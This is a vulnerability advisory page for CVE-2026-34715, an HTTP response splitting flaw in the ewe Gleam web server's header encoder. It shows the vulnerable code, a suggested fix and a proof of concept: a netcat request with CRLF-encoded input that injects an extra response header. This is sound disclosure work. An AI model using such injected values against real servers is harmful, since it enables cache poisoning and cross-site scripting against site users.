Skip to main content

CVE-2026-34715

MEDIUM
HTTP Response Splitting (CWE-113)
2026-04-01 https://github.com/vshakitskiy/ewe GHSA-x2w3-23jr-hrpf
5.3
CVSS 3.1
Share

CVSS VectorNVD

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
None

Lifecycle Timeline

2
Analysis Generated
Apr 01, 2026 - 23:16 vuln.today
CVE Published
Apr 01, 2026 - 22:18 nvd
MEDIUM 5.3

DescriptionNVD

Summary

The encode_headers function in src/ewe/internal/encoder.gleam directly interpolates response header keys and values into raw HTTP bytes without validating or stripping CRLF (\r\n) sequences. An application that passes user-controlled data into response headers (e.g., setting a Location redirect header from a request parameter) allows an attacker to inject arbitrary HTTP response content, leading to response splitting, cache poisoning, and possible cross-site scripting.

Notably, ewe *does* validate CRLF in incoming request headers via validate_field_value() in the HTTP/1.1 parser - but provides no equivalent protection for outgoing response headers in the encoder.

Details

File: src/ewe/internal/encoder.gleam

Vulnerable code:

gleam
fn encode_headers(headers: List(#(String, String))) -> BitArray {
  let headers =
    list.fold(headers, <<>>, fn(acc, headers) {
      let #(key, value) = headers
      <<acc:bits, key:utf8, ": ", value:utf8, "\r\n">>
    })

  <<headers:bits, "\r\n">>
}

Both key and value are embedded directly into the BitArray output. If either contains \r\n, the resulting bytes become a structurally valid but attacker-controlled HTTP response, terminating the current header early and injecting new headers or a second HTTP response.

Contrast with request parsing (src/ewe/internal/http1.gleam): incoming header values are protected:

gleam
use value <- try(
  validate_field_value(value) |> replace_error(InvalidHeaders)
)

No analogous validation exists for outgoing header values in the encoder. The solution is to strip or reject \r (0x0D) and \n (0x0A) from all header key and value strings in encode_headers before encoding, mirroring the validation already applied to incoming request headers via validate_field_value()

PoC

An ewe application echoes a user-supplied redirect URL into a Location header:

gleam
fn handle_request(req: Request) -> Response {
  let redirect_url =
    request.get_query(req)
    |> result.try(list.key_find(_, "next"))
    |> result.unwrap("/home")

  response.new(302)
  |> response.set_header("location", redirect_url)
  |> response.set_body(ewe.Empty)
}

Attacker request:

bash
printf 'GET /?next=https://example.com%%0d%%0aX-Injected:%%20true HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc -w 2 localhost 8080

Resulting response:

HTTP/1.1 302 Found
location: https://example.com
X-Injected: true
content-length: 0
date: Tue, 24 Mar 2026 07:53:00 GMT
connection: keep-alive

The X-Injected: true header appears as a separate response header, confirming that CRLF sequences in user input are not sanitized by the encoder.

AnalysisAI

HTTP response splitting in ewe's encode_headers function allows remote attackers to inject arbitrary HTTP response headers and content by embedding CRLF sequences in user-controlled response header values, enabling cache poisoning and cross-site scripting attacks. The vulnerability affects ewe versions that do not validate outgoing response header keys and values, despite implementing equivalent validation for incoming request headers. …

Sign in for full analysis, threat intelligence, and remediation guidance.

Share

CVE-2026-34715 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy